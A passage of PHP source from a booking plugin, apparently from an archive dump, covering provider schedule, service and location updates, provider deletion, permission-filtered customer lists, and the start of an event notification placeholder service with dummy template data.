$specialDayRepository->update($newSpecialDay, $newSpecialDay->getId()->getValue()); } // add special day if ID does not exist if (!$newSpecialDay->getId()) { $newSpecialDayId = $specialDayRepository->add($newSpecialDay, $newUser->getId()->getValue()); $newSpecialDay->setId(new Id($newSpecialDayId)); } $existingSpecialDayIds[$newSpecialDay->getId()->getValue()] = true; $existingSpecialDayPeriodIds[$newSpecialDay->getId()->getValue()] = []; $existingSpecialDayPeriodServicesIds[$newSpecialDay->getId()->getValue()] = []; $existingSpecialDayPeriodLocationsIds[$newSpecialDay->getId()->getValue()] = []; // add day period values foreach ((array)$newSpecialDay->getPeriodList()->keys() as $newPeriodKey) { /** @var SpecialDayPeriod $newPeriod */ if (!($newPeriod = $newSpecialDay->getPeriodList()->getItem($newPeriodKey)) instanceof SpecialDayPeriod) { throw new InvalidArgumentException('Unknown type'); } // update special day period if ID exist if ($newPeriod->getId() && $newPeriod->getId()->getValue()) { $specialDayPeriodRepository->update($newPeriod, $newPeriod->getId()->getValue()); $existingSpecialDayPeriodServicesIds [$newSpecialDay->getId()->getValue()] [$newPeriod->getId()->getValue()] = []; foreach ((array)$newPeriod->getPeriodServiceList()->keys() as $periodServiceKey) { /** @var SpecialDayPeriodService $periodService */ $periodService = $newPeriod->getPeriodServiceList()->getItem($periodServiceKey); if (!$periodService->getId()) { $periodServiceId = $specialDayPeriodServiceRepository->add( $periodService, $newPeriod->getId()->getValue() ); $periodService->setId(new Id($periodServiceId)); } $existingSpecialDayPeriodServicesIds [$newSpecialDay->getId()->getValue()] [$newPeriod->getId()->getValue()][$periodService->getId()->getValue()] = true; } $existingSpecialDayPeriodLocationsIds [$newSpecialDay->getId()->getValue()] [$newPeriod->getId()->getValue()] = []; foreach ((array)$newPeriod->getPeriodLocationList()->keys() as $periodLocationKey) { /** @var SpecialDayPeriodLocation $periodLocation */ $periodLocation = $newPeriod->getPeriodLocationList()->getItem($periodLocationKey); if (!$periodLocation->getId()) { $periodLocationId = $specialDayPeriodLocationRepository->add( $periodLocation, $newPeriod->getId()->getValue() ); $periodLocation->setId(new Id($periodLocationId)); } $existingSpecialDayPeriodLocationsIds [$newSpecialDay->getId()->getValue()] [$newPeriod->getId()->getValue()][$periodLocation->getId()->getValue()] = true; } } // add special day period if ID does not exist if (!$newPeriod->getId()) { $newPeriodId = $specialDayPeriodRepository->add($newPeriod, $newSpecialDay->getId()->getValue()); $newPeriod->setId(new Id($newPeriodId)); foreach ((array)$newPeriod->getPeriodServiceList()->keys() as $periodServiceKey) { /** @var SpecialDayPeriodService $periodService */ $periodService = $newPeriod->getPeriodServiceList()->getItem($periodServiceKey); $specialDayPeriodServiceRepository->add($periodService, $newPeriodId); } foreach ((array)$newPeriod->getPeriodLocationList()->keys() as $periodLocationKey) { /** @var SpecialDayPeriodLocation $periodLocation */ $periodLocation = $newPeriod->getPeriodLocationList()->getItem($periodLocationKey); $specialDayPeriodLocationRepository->add($periodLocation, $newPeriodId); } } $existingSpecialDayPeriodIds[$newSpecialDay->getId()->getValue()][$newPeriod->getId()->getValue()] = true; } } // delete week day time out and period if not exist in new week day time out list and period list foreach ((array)$oldUser->getSpecialDayList()->keys() as $oldUserKey) { /** @var SpecialDay $oldSpecialDay */ if (!($oldSpecialDay = $oldUser->getSpecialDayList()->getItem($oldUserKey)) instanceof SpecialDay) { throw new InvalidArgumentException('Unknown type'); } $oldSpecialDayId = $oldSpecialDay->getId()->getValue(); foreach ((array)$oldSpecialDay->getPeriodList()->keys() as $oldPeriodKey) { if (!($oldPeriod = $oldSpecialDay->getPeriodList()->getItem($oldPeriodKey)) instanceof SpecialDayPeriod) { throw new InvalidArgumentException('Unknown type'); } $oldPeriodId = $oldPeriod->getId()->getValue(); foreach ((array)$oldPeriod->getPeriodServiceList()->keys() as $periodServiceKey) { $oldPeriodServiceId = $oldPeriod->getPeriodServiceList() ->getItem($periodServiceKey)->getId()->getValue(); if (!isset($existingSpecialDayPeriodServicesIds[$oldSpecialDayId][$oldPeriodId][$oldPeriodServiceId])) { $specialDayPeriodServiceRepository->delete($oldPeriodServiceId); } } foreach ((array)$oldPeriod->getPeriodLocationList()->keys() as $periodLocationKey) { $oldPeriodLocationId = $oldPeriod->getPeriodLocationList() ->getItem($periodLocationKey)->getId()->getValue(); if (!isset($existingSpecialDayPeriodLocationsIds[$oldSpecialDayId][$oldPeriodId][$oldPeriodLocationId])) { $specialDayPeriodLocationRepository->delete($oldPeriodLocationId); } } if (!isset($existingSpecialDayPeriodIds[$oldSpecialDayId][$oldPeriodId])) { $specialDayPeriodRepository->delete($oldPeriodId); } } if (!isset($existingSpecialDayIds[$oldSpecialDayId])) { $specialDayRepository->delete($oldSpecialDayId); } } return true; } /** * @param array $providers * @param bool $companyDayOff * * @return array * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws ContainerException */ public function manageProvidersActivity($providers, $companyDayOff) { if ($companyDayOff === false) { /** @var ProviderRepository $providerRepository */ $providerRepository = $this->container->get('domain.users.providers.repository'); /** @var AppointmentRepository $appointmentRepo */ $appointmentRepo = $this->container->get('domain.booking.appointment.repository'); $availableProviders = $providerRepository->getAvailable((int)date('w')); $onBreakProviders = $providerRepository->getOnBreak((int)date('w')); $onVacationProviders = $providerRepository->getOnVacation(); $busyProviders = $appointmentRepo->getCurrentAppointments(); $specialDayProviders = $providerRepository->getOnSpecialDay(); foreach ($providers as &$provider) { if (array_key_exists($provider['id'], $availableProviders)) { $provider['activity'] = 'available'; } else { $provider['activity'] = 'away'; } if (array_key_exists($provider['id'], $onBreakProviders)) { $provider['activity'] = 'break'; } if (array_key_exists($provider['id'], $specialDayProviders)) { $provider['activity'] = $specialDayProviders[$provider['id']]['available'] ? 'available' : 'away'; } if (array_key_exists($provider['id'], $busyProviders)) { $provider['activity'] = 'busy'; } if (array_key_exists($provider['id'], $onVacationProviders)) { $provider['activity'] = 'dayoff'; } } } else { foreach ($providers as &$provider) { $provider['activity'] = 'dayoff'; } } return $providers; } /** * @param $companyDaysOff * * @return bool */ public function checkIfTodayIsCompanyDayOff($companyDaysOff) { $currentDate = DateTimeService::getNowDateTimeObject()->setTime(0, 0, 0); $dayOff = false; foreach ((array)$companyDaysOff as $companyDayOff) { if ($currentDate >= DateTimeService::getCustomDateTimeObject($companyDayOff['startDate']) && $currentDate <= DateTimeService::getCustomDateTimeObject($companyDayOff['endDate'])) { $dayOff = true; break; } } return $dayOff; } /** * @param array $providers * @param AbstractUser $currentUser * * @return array * @throws ContainerException */ public function removeAllExceptUser($providers, $currentUser) { if ($currentUser !== null && $currentUser->getType() === AbstractUser::USER_ROLE_PROVIDER && !$this->container->getPermissionsService()->currentUserCanReadOthers(Entities::APPOINTMENTS) ) { if ($currentUser->getId() === null) { return []; } $currentUserId = $currentUser->getId()->getValue(); foreach ($providers as $key => $provider) { if ($provider['id'] !== $currentUserId) { unset($providers[$key]); } } } return array_values($providers); } /** * @param Provider $newUser * * @throws QueryExecutionException * @throws ContainerException */ public function updateProviderGoogleCalendar($newUser) { /** @var GoogleCalendarRepository $googleCalendarRepository */ $googleCalendarRepository = $this->container->get('domain.google.calendar.repository'); $googleCalendarRepository->update( $newUser->getGoogleCalendar(), $newUser->getGoogleCalendar()->getId()->getValue() ); } /** * @param Provider $newUser * * @throws QueryExecutionException * @throws ContainerException */ public function updateProviderOutlookCalendar($newUser) { /** @var OutlookCalendarRepository $outlookCalendarRepository */ $outlookCalendarRepository = $this->container->get('domain.outlook.calendar.repository'); $outlookCalendarRepository->update( $newUser->getOutlookCalendar(), $newUser->getOutlookCalendar()->getId()->getValue() ); } /** * Update provider locations * * @param Provider $oldUser * @param Provider $newUser * * @return boolean * @throws QueryExecutionException * @throws ContainerException */ private function updateProviderLocations($oldUser, $newUser) { /** @var ProviderLocationRepository $providerLocationRepo */ $providerLocationRepo = $this->container->get('domain.bookable.service.providerLocation.repository'); if ($oldUser->getLocationId() && $newUser->getLocationId()) { $providerLocation = ProviderLocationFactory::create([ 'userId' => $newUser->getId()->getValue(), 'locationId' => $newUser->getLocationId()->getValue() ]); $providerLocationRepo->update($providerLocation); } elseif ($newUser->getLocationId()) { $providerLocation = ProviderLocationFactory::create([ 'userId' => $newUser->getId()->getValue(), 'locationId' => $newUser->getLocationId()->getValue() ]); $providerLocationRepo->add($providerLocation); } elseif ($oldUser->getLocationId()) { $providerLocationRepo->delete($oldUser->getId()->getValue()); } return true; } /** * Update provider services * * @param Provider $newUser * * @return boolean * @throws QueryExecutionException * @throws ContainerException */ private function updateProviderServices($newUser) { /** @var ProviderServiceRepository $providerServiceRepo */ $providerServiceRepo = $this->container->get('domain.bookable.service.providerService.repository'); $servicesIds = []; $services = $newUser->getServiceList(); /** @var Service $service */ foreach ($services->getItems() as $service) { $servicesIds[] = $service->getId()->getValue(); } $providerServiceRepo->deleteAllNotInServicesArrayForProvider($servicesIds, $newUser->getId()->getValue()); $existingServices = $providerServiceRepo->getAllForProvider($newUser->getId()->getValue()); $existingServicesIds = []; foreach ($existingServices as $existingService) { $existingServicesIds[] = $existingService['serviceId']; } foreach ($services->getItems() as $service) { if (!in_array($service->getId()->getValue(), $existingServicesIds, false)) { $providerServiceRepo->add($service, $newUser->getId()->getValue()); } else { foreach ($existingServices as $providerService) { if ($providerService['serviceId'] === $service->getId()->getValue()) { $providerServiceRepo->update($service, $providerService['id']); break; } } } } return true; } /** * Update provider days off * * @param Provider $oldUser * @param Provider $newUser * * @return boolean * @throws InvalidArgumentException * @throws QueryExecutionException * @throws ContainerException */ private function updateProviderDaysOff($oldUser, $newUser) { /** @var DayOffRepository $dayOffRepository */ $dayOffRepository = $this->container->get('domain.schedule.dayOff.repository'); $existingDayOffIds = []; foreach ((array)$newUser->getDayOffList()->keys() as $newUserKey) { $newDayOff = $newUser->getDayOffList()->getItem($newUserKey); // update day off if ID exist if ($newDayOff->getId() && $newDayOff->getId()->getValue()) { $dayOffRepository->update($newDayOff, $newDayOff->getId()->getValue()); } // add new day off if ID does not exist if ($newDayOff->getId() === null || $newDayOff->getId()->getValue() === 0) { $newDayOffId = $dayOffRepository->add($newDayOff, $newUser->getId()->getValue()); $newDayOff->setId(new Id($newDayOffId)); } $existingDayOffIds[] = $newDayOff->getId()->getValue(); } // delete day off if not exist in new day off list foreach ((array)$oldUser->getDayOffList()->keys() as $oldUserKey) { $oldDayOff = $oldUser->getDayOffList()->getItem($oldUserKey); if (!in_array($oldDayOff->getId()->getValue(), $existingDayOffIds, true)) { $dayOffRepository->delete($oldDayOff->getId()->getValue()); } } return true; } /** * get day free intervals in seconds * * @param Collection $periodList * @param Collection $timeOutList * * @return array */ public function getProviderScheduleIntervals($periodList, $timeOutList) { /** @var IntervalService $intervalService */ $intervalService = $this->container->get('domain.interval.service'); $availableIntervals = []; $unavailableIntervals = []; /** @var TimeOut $timeOut */ foreach ($timeOutList->getItems() as $timeOut) { $startTimeOut = $intervalService->getSeconds( $timeOut->getStartTime()->getValue()->format('H:i:s') ); $endTimeOut = $intervalService->getSeconds( $timeOut->getEndTime()->getValue()->format('H:i:s') === '00:00:00' ? '24:00:00' : $timeOut->getEndTime()->getValue()->format('H:i:s') ); $unavailableIntervals[$startTimeOut] = [ $startTimeOut, $endTimeOut ]; } /** @var Period $period */ foreach ($periodList->getItems() as $period) { $startPeriod = $intervalService->getSeconds( $period->getStartTime()->getValue()->format('H:i:s') ); $endPeriod = $intervalService->getSeconds( $period->getEndTime()->getValue()->format('H:i:s') === '00:00:00' ? '24:00:00' : $period->getEndTime()->getValue()->format('H:i:s') ); $periodServices = []; /** @var PeriodService $periodService */ foreach ($period->getPeriodServiceList()->getItems() as $periodService) { $periodServices[] = $periodService->getServiceId()->getValue(); } $periodIntervals = $intervalService->getFreeIntervals( $unavailableIntervals, $startPeriod, $endPeriod ); foreach ($periodIntervals as $interval) { $availableIntervals[] = [ 'time' => [ $interval[0], $interval[1] ], 'services' => $periodServices ]; } } return $availableIntervals; } /** * get provider by ID * * @param int $providerId * * @return Provider * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws InvalidArgumentException */ public function getProviderWithServicesAndSchedule($providerId) { /** @var ProviderRepository $providerRepository */ $providerRepository = $this->container->get('domain.users.providers.repository'); /** @var ServiceRepository $serviceRepository */ $serviceRepository = $this->container->get('domain.bookable.service.repository'); /** @var ProviderService $providerService */ $providerService = $this->container->get('domain.user.provider.service'); /** @var Collection $services */ $services = $serviceRepository->getAllArrayIndexedById(); /** @var Collection $providers */ $providers = $providerRepository->getWithSchedule(['providers' => [$providerId]]); /** @var Provider $provider */ $provider = $providers->getItem($providerId); $providerService->setProviderServices($provider, $services, true); return $provider; } /** * @param array $data * @param Provider $provider * @param Collection $periodList * @param Collection $locations * * @return void * @throws InvalidArgumentException */ private function setAvailablePeriodServicesLocations(&$data, $provider, $periodList, $locations) { /** @var LocationService $locationService */ $locationService = $this->container->get('domain.location.service'); /** @var ProviderService $providerService */ $providerService = $this->container->get('domain.user.provider.service'); $hasVisibleLocations = $locationService->hasVisibleLocations($locations); /** @var Location $providerLocation */ $providerLocation = $provider->getLocationId() && $locations->length() ? $locations->getItem($provider->getLocationId()->getValue()) : null; /** @var Period|SpecialDayPeriod $period */ foreach ($periodList->getItems() as $period) { /** @var Collection $availablePeriodLocations */ $availablePeriodLocations = $providerService->getProviderPeriodLocations( $period, $providerLocation, $locations, $hasVisibleLocations ); if ($hasVisibleLocations && !$availablePeriodLocations->length()) { continue; } if ($period->getPeriodServiceList()->length()) { /** @var PeriodService $periodService */ foreach ($period->getPeriodServiceList()->getItems() as $periodService) { if ($availablePeriodLocations->length()) { /** @var Location $availableLocation */ foreach ($availablePeriodLocations->getItems() as $availableLocation) { $data[$periodService->getServiceId()->getValue()][] = $availableLocation->getId()->getValue(); } } else { $data[$periodService->getServiceId()->getValue()][] = null; } } } else { /** @var Service $service */ foreach ($provider->getServiceList()->getItems() as $service) { if ($availablePeriodLocations->length()) { /** @var Location $availableLocation */ foreach ($availablePeriodLocations->getItems() as $availableLocation) { $data[$service->getId()->getValue()][] = $availableLocation->getId()->getValue(); } } else { $data[$service->getId()->getValue()][] = null; } } } } } /** @noinspection MoreThanThreeArgumentsInspection */ /** * @param Provider $provider * @param Collection $locations * @param Collection $services * @param bool $ignoreTime * * @return array * @throws InvalidArgumentException */ public function getProviderServiceLocations($provider, $locations, $services, $ignoreTime = false) { $data = []; if ($provider->getStatus()->getValue() === Status::HIDDEN) { return []; } $providerLocationId = null; if ($provider->getLocationId() && $locations->length()) { /** @var Location $providerLocation */ $providerLocation = $locations->getItem($provider->getLocationId()->getValue()); $providerLocationId = $providerLocation->getId()->getValue(); } /** @var WeekDay $weekDay */ foreach ($provider->getWeekDayList()->getItems() as $weekDay) { $this->setAvailablePeriodServicesLocations( $data, $provider, $weekDay->getPeriodList(), $locations ); if ($weekDay->getPeriodList()->length() === 0) { /** @var Service $providerService */ foreach ($provider->getServiceList()->getItems() as $providerService) { $data[$providerService->getId()->getValue()][] = $providerLocationId; } } } $currentDate = DateTimeService::getNowDateTimeObject(); /** @var SpecialDay $specialDay */ foreach ($provider->getSpecialDayList()->getItems() as $specialDay) { $specialDayCopy = clone $specialDay->getEndDate()->getValue(); $specialDayCopy->modify('+1 days'); if ($specialDayCopy < $currentDate && !$ignoreTime) { continue; } $this->setAvailablePeriodServicesLocations( $data, $provider, $specialDay->getPeriodList(), $locations ); } $result = []; foreach ($data as $serviceId => $serviceLocations) { /** @var Service $service */ if ($services->keyExists($serviceId) && ($service = $services->getItem($serviceId)) && $service->getStatus()->getValue() === Status::VISIBLE ) { $result[$serviceId] = array_values(array_unique($serviceLocations)); } } return $result; } /** * @param AbstractUser|Provider $provider * * @return boolean * * @throws InvalidArgumentException * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws ContainerException */ public function delete($provider) { /** @var AppointmentRepository $appointmentRepository */ $appointmentRepository = $this->container->get('domain.booking.appointment.repository'); /** @var ProviderRepository $providerRepository */ $providerRepository = $this->container->get('domain.users.providers.repository'); /** @var ProviderServiceRepository $providerServiceRepository */ $providerServiceRepository = $this->container->get('domain.bookable.service.providerService.repository'); /** @var AppointmentApplicationService $appointmentApplicationService */ $appointmentApplicationService = $this->container->get('application.booking.appointment.service'); /** @var GoogleCalendarRepository $googleCalendarRepository */ $googleCalendarRepository = $this->container->get('domain.google.calendar.repository'); /** @var OutlookCalendarRepository $outlookCalendarRepository */ $outlookCalendarRepository = $this->container->get('domain.outlook.calendar.repository'); /** @var ProviderLocationRepository $providerLocationRepository */ $providerLocationRepository = $this->container->get('domain.bookable.service.providerLocation.repository'); /** @var PackageServiceProviderRepository $packageServiceProviderRepository */ $packageServiceProviderRepository = $this->container->get('domain.bookable.package.packageServiceProvider.repository'); /** @var PackageCustomerServiceRepository $packageCustomerServiceRepository */ $packageCustomerServiceRepository = $this->container->get('domain.bookable.packageCustomerService.repository'); /** @var EventProvidersRepository $eventProvidersRepository */ $eventProvidersRepository = $this->container->get('domain.booking.event.provider.repository'); /** @var ResourceEntitiesRepository $resourceEntitiesRepository */ $resourceEntitiesRepository = $this->container->get('domain.bookable.resourceEntities.repository'); /** @var CustomerApplicationService $customerApplicationService */ $customerApplicationService = $this->container->get('application.user.customer.service'); /** @var Collection $appointments */ $appointments = $appointmentRepository->getFiltered( [ 'providers' => [$provider->getId()->getValue()] ] ); /** @var Appointment $appointment */ foreach ($appointments->getItems() as $appointment) { if (!$appointmentApplicationService->delete($appointment)) { return false; } } /** @var Provider $newProvider */ $newProvider = UserFactory::create( array_merge( $provider->toArray(), [ 'weekDayList' => [], 'specialDayList' => [], 'dayOffList' => [] ] ) ); return $this->updateProviderDaysOff($provider, $newProvider) && $this->updateProviderSpecialDays($provider, $newProvider) && $this->updateProviderWorkDays($provider, $newProvider) && $providerServiceRepository->deleteByEntityId($provider->getId()->getValue(), 'userId') && $providerLocationRepository->deleteByEntityId($provider->getId()->getValue(), 'userId') && $googleCalendarRepository->deleteByEntityId($provider->getId()->getValue(), 'userId') && $outlookCalendarRepository->deleteByEntityId($provider->getId()->getValue(), 'userId') && $eventProvidersRepository->deleteByEntityId($provider->getId()->getValue(), 'userId') && $packageServiceProviderRepository->deleteByEntityId($provider->getId()->getValue(), 'userId') && $packageCustomerServiceRepository->updateByEntityId($provider->getId()->getValue(), null, 'providerId') && $providerRepository->deleteViewStats($provider->getId()->getValue()) && $resourceEntitiesRepository->deleteByEntityIdAndEntityType($provider->getId()->getValue(), 'employee') && $customerApplicationService->delete($provider); } /** * @param AbstractUser $currentUser * * @return Collection * * @throws ContainerValueNotFoundException * @throws ContainerException * @throws QueryExecutionException * @throws InvalidArgumentException */ public function getAllowedCustomers($currentUser) { /** @var UserRepository $userRepository */ $userRepository = $this->container->get('domain.users.repository'); /** @var Collection $customers */ $customers = $userRepository->getAllWithAllowedBooking(); // user_can added here, because currentUser is null in logged.in.user service for cabinet if (!$this->container->getPermissionsService()->currentUserCanReadOthers(Entities::CUSTOMERS) && !( $currentUser !== null && $currentUser->getExternalId() !== null && user_can($currentUser->getExternalId()->getValue(), 'amelia_read_others_customers') ) ) { /** @var AppointmentRepository $appointmentRepository */ $appointmentRepository = $this->container->get('domain.booking.appointment.repository'); /** @var Collection $appointments */ $appointments = $appointmentRepository->getFiltered( ['providerId' => $currentUser->getId()->getValue()] ); /** @var Collection $customersWithoutBooking */ $customersWithoutBooking = $userRepository->getAllWithoutBookings(); /** @var Appointment $appointment */ foreach ($appointments->getItems() as $appointment) { /** @var CustomerBooking $booking */ foreach ($appointment->getBookings()->getItems() as $booking) { if (!$customersWithoutBooking->keyExists($booking->getCustomerId()->getValue())) { $customersWithoutBooking->addItem( $customers->getItem($booking->getCustomerId()->getValue()), $booking->getCustomerId()->getValue() ); } } } $customersWithoutBookingArray = $customersWithoutBooking->getItems(); usort( $customersWithoutBookingArray, function ($a, $b) { return strcmp( $a->getFirstName()->getValue() . ' ' . $a->getLastName()->getValue(), $b->getFirstName()->getValue() . ' ' . $b->getLastName()->getValue() ); } ); return new Collection($customersWithoutBookingArray); } return $customers; } /** * @param Provider $provider * @param Collection $services * @param bool $allowHiddenServices * * @return void * @throws InvalidArgumentException * @throws Exception */ public function setProviderServices($provider, $services, $allowHiddenServices) { /** @var Collection $providerServiceList */ $providerServiceList = new Collection(); /** @var Service $providerService */ foreach ($provider->getServiceList()->getItems() as $providerService) { if ($services->keyExists($providerService->getId()->getValue())) { /** @var Service $service */ $service = $services->getItem($providerService->getId()->getValue()); if ($allowHiddenServices ? true : $service->getStatus()->getValue() === Status::VISIBLE) { $providerServiceList->addItem( ServiceFactory::create( array_merge( $service->toArray(), [ 'price' => $providerService->getPrice()->getValue(), 'minCapacity' => $providerService->getMinCapacity()->getValue(), 'maxCapacity' => $providerService->getMaxCapacity()->getValue(), 'customPricing' => $providerService->getCustomPricing() ? $providerService->getCustomPricing()->getValue() : null, ] ) ), $service->getId()->getValue() ); } } } $provider->setServiceList($providerServiceList); } } Services/Placeholder/PlaceholderServiceInterface.php 0000666 00000002676 15165412624 0016673 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Services\Placeholder; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Infrastructure\Common\Exceptions\NotFoundException; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use Interop\Container\Exception\ContainerException; /** * Interface PlaceholderServiceInterface * * @package AmeliaBooking\Domain\Services\Reservation */ interface PlaceholderServiceInterface { /** * * @return array * * @throws \Interop\Container\Exception\ContainerException */ public function getEntityPlaceholdersDummyData($type); /** @noinspection MoreThanThreeArgumentsInspection */ /** * @param array $appointment * @param int $bookingKey * @param string $type * @param AbstractUser $customer * @param array $allBookings * * @return array * * @throws InvalidArgumentException * @throws \Slim\Exception\ContainerValueNotFoundException * @throws NotFoundException * @throws QueryExecutionException * @throws ContainerException * @throws \Exception */ function getPlaceholdersData($appointment, $bookingKey = null, $type = null, $customer = null, $allBookings = null); } Services/Placeholder/EventPlaceholderService.php 0000666 00000117060 15165412624 0016046 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Services\Placeholder; use AmeliaBooking\Application\Services\Helper\HelperService; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Booking\Event\CustomerBookingEventTicket; use AmeliaBooking\Domain\Entity\Booking\Event\EventTicket; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Services\DateTime\DateTimeService; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Infrastructure\Common\Exceptions\NotFoundException; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\CustomerBookingRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Event\CustomerBookingEventTicketRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Event\EventTicketRepository; use AmeliaBooking\Infrastructure\Repository\Location\LocationRepository; use AmeliaBooking\Infrastructure\Repository\User\UserRepository; use AmeliaBooking\Infrastructure\WP\Translations\BackendStrings; use DateTime; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class EventPlaceholderService * * @package AmeliaBooking\Application\Services\Notification */ class EventPlaceholderService extends PlaceholderService { /** * * @return array * * @throws \Interop\Container\Exception\ContainerException */ public function getEntityPlaceholdersDummyData($type) { /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); /** @var HelperService $helperService */ $helperService = $this->container->get('application.helper.service'); $companySettings = $settingsService->getCategorySettings('company'); $liStartTag = $type === 'email' ? '<li>' : ''; $liEndTag = $type === 'email' ? '</li>' : ($type === 'whatsapp' ? '; ' : PHP_EOL); $ulStartTag = $type === 'email' ? '<ul>' : ''; $ulEndTag = $type === 'email' ? '</ul>' : ''; $dateFormat = $settingsService->getSetting('wordpress', 'dateFormat'); $timeFormat = $settingsService->getSetting('wordpress', 'timeFormat'); $timestamp = new DateTime(); $periodStartTime = $timestamp->format($timeFormat); $periodStartDate = $timestamp->format($dateFormat); $periodEndDate = $timestamp->modify('+1 day'); $periodEndTime = $periodEndDate->add(new \DateInterval('PT1H'))->format($timeFormat); $periodEndDate = $periodEndDate->format($dateFormat); $dateTimeString = $periodStartDate . ' - ' . $periodEndDate . ' (' . $periodStartTime . ' - ' . $periodEndTime . ')'; return [ 'attendee_code' => '12345', 'event_name' => 'Event Name', 'reservation_name' => 'Reservation Name', 'event_location' => $companySettings['address'], 'event_cancel_url' => 'http://event_cancel_url.com', 'event_periods' => $ulStartTag . $liStartTag . date_i18n($dateFormat, $periodStartDate) . $liEndTag . $liStartTag . date_i18n($dateFormat, $periodEndDate) . $liEndTag . $ulEndTag, 'event_period_date' => $ulStartTag . $liStartTag . date_i18n($dateFormat, $periodStartDate) . $liEndTag . $liStartTag . date_i18n($dateFormat, $periodEndDate) . $liEndTag . $ulEndTag, 'event_period_date_time' => $ulStartTag . $liStartTag . $dateTimeString . $liEndTag . $ulEndTag, 'event_start_date' => date_i18n($dateFormat, $periodStartDate), 'event_start_time' => date_i18n($timeFormat, $periodStartTime), 'event_start_date_time' => date_i18n($dateFormat . ' ' . $timeFormat, $timestamp), 'event_end_date' => date_i18n($dateFormat, $periodEndDate), 'event_end_time' => date_i18n($timeFormat, $periodEndTime), 'event_end_date_time' => date_i18n($dateFormat . ' ' . $timeFormat, $periodEndDate), 'event_deposit_payment' => $helperService->getFormattedPrice(20), 'event_price' => $helperService->getFormattedPrice(100), 'zoom_host_url_date' => $type === 'email' ? '<ul>' . '<li><a href="#">' . date_i18n($dateFormat, $periodStartDate) . ' ' . BackendStrings::getCommonStrings()['zoom_click_to_start'] .'</a></li>' . '<li><a href="#">' . date_i18n($dateFormat, $periodEndDate) . ' ' . BackendStrings::getCommonStrings()['zoom_click_to_start'] . '</a></li>' . '</ul>' : date_i18n($dateFormat, $periodStartDate) . ': ' . 'http://start_zoom_meeting_link.com', 'zoom_host_url_date_time' => $type === 'email' ? '<ul>' . '<li><a href="#">' . date_i18n($dateFormat . ' ' . $timeFormat, $timestamp) . BackendStrings::getCommonStrings()['zoom_click_to_start'] . '</a></li>' . '</ul>' : date_i18n($dateFormat . ' ' . $timeFormat, $timestamp) . ': ' . 'http://start_zoom_meeting_link.com', 'zoom_join_url_date' => $type === 'email' ? '<ul>' . '<li><a href="#">' . date_i18n($dateFormat, $periodStartDate) . ' ' . BackendStrings::getCommonStrings()['zoom_click_to_join'] .'</a></li>' . '<li><a href="#">' . date_i18n($dateFormat, $periodEndDate) . ' ' . BackendStrings::getCommonStrings()['zoom_click_to_join'] . '</a></li>' . '</ul>' : date_i18n($dateFormat, $periodStartDate) . ': ' . 'http://join_zoom_meeting_link.com', 'zoom_join_url_date_time' => $type === 'email' ? '<ul>' . '<li><a href="#">' . date_i18n($dateFormat . ' ' . $timeFormat, $timestamp) . BackendStrings::getCommonStrings()['zoom_click_to_join'] . '</a></li>' . '</ul>' : date_i18n($dateFormat . ' ' . $timeFormat, $timestamp) . ': ' . 'http://join_zoom_meeting_link.com' , 'google_meet_url_date' => $type === 'email' ? '<ul>' . '<li><a href="#">' . date_i18n($dateFormat, $periodStartDate) . ' ' . BackendStrings::getCommonStrings()['google_meet_join'] .'</a></li>' . '<li><a href="#">' . date_i18n($dateFormat, $periodEndDate) . ' ' . BackendStrings::getCommonStrings()['google_meet_join'] . '</a></li>' . '</ul>' : date_i18n($dateFormat, $periodStartDate) . ': ' . 'https://join_google_meet_link.com', 'google_meet_url_date_time' => $type === 'email' ? '<ul>' . '<li><a href="#">' . date_i18n($dateFormat . ' ' . $timeFormat, $timestamp) . BackendStrings::getCommonStrings()['google_meet_join'] . '</a></li>' . '</ul>' : date_i18n($dateFormat . ' ' . $timeFormat, $timestamp) . ': ' . 'https://join_google_meet_link.com' , 'lesson_space_url_date' => $type === 'email' ? '<ul>' . '<li><a href="#">' . date_i18n($dateFormat, $periodStartDate) . ' ' . BackendStrings::getCommonStrings()['lesson_space_join'] .'</a></li>' . '<li><a href="#">' . date_i18n($dateFormat, $periodEndDate) . ' ' . BackendStrings::getCommonStrings()['lesson_space_join'] . '</a></li>' . '</ul>' : date_i18n($dateFormat, $periodStartDate) . ': ' . 'https://lesson_space.com/room-id', 'lesson_space_url_date_time' => $type === 'email' ? '<ul>' . '<li><a href="#">' . date_i18n($dateFormat . ' ' . $timeFormat, $timestamp) . BackendStrings::getCommonStrings()['lesson_space_join'] . '</a></li>' . '</ul>' : date_i18n($dateFormat . ' ' . $timeFormat, $timestamp) . ': ' . 'https://lesson_space.com/room-id', 'event_description' => 'Event Description', 'reservation_description' => 'Reservation Description', 'employee_name_email_phone' => $ulStartTag . $liStartTag . 'John Smith, 555-0120' . $liEndTag . $liStartTag . 'Edward Williams, 555-3524' . $liEndTag . $ulEndTag, ]; } /** * @param array $event * @param int $bookingKey * @param string $type * @param AbstractUser $customer * * @return array * * @throws InvalidArgumentException * @throws \Slim\Exception\ContainerValueNotFoundException * @throws NotFoundException * @throws QueryExecutionException * @throws \Interop\Container\Exception\ContainerException * @throws \Exception */ public function getPlaceholdersData($event, $bookingKey = null, $type = null, $customer = null, $allBookings = null) { /** @var CustomerBookingRepository $bookingRepository */ $bookingRepository = $this->container->get('domain.booking.customerBooking.repository'); $token = isset($event['bookings'][$bookingKey]) ? $bookingRepository->getToken($event['bookings'][$bookingKey]['id']) : null; $token = isset($token['token']) ? $token['token'] : null; $data = []; $data = array_merge($data, $this->getEventData($event, 